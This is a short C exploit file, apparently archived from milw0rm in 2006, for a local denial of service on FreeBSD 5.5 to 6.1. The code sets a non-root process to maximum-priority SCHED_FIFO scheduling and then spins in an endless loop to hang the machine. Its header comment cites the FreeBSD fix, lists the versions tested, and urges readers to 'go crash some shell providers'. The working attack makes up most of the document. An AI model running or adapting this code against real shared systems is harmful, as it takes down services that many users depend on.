16 lines
No EOL
762 B
C
16 lines
No EOL
762 B
C
/* FreeBSD cvs commit: src/sys/posix4/p1003_1b.c davidxu 2006-05-21 00:40:38 UTC
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Log: Don't allow non-root user to set a scheduler policy, otherwise this could be a local DOS.
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lol lol, thatz true. kokanin@gmail lolling it out in '06 !"#%&%(20061013)(="#"!
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tested on FreeBSD 5.5-RELEASE, 6.0-RELEASE-p5, 6.1-RELEASE, 6.1-RELEASE-p10 (latest at the time of writing)
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wow, that sort of makes this 0day local freebsd denial of service for non-CURRENT or whatever.
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usage: ./run me and wait a moment.. woo, it's friday the 13th, go crash some shell providers.
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*/
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#include <sched.h>
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int main(){
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struct sched_param lol;
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lol.sched_priority = sched_get_priority_max(SCHED_FIFO);
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sched_setscheduler(0,SCHED_FIFO,&lol);
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for(;;){}
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}
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// milw0rm.com [2006-10-13]
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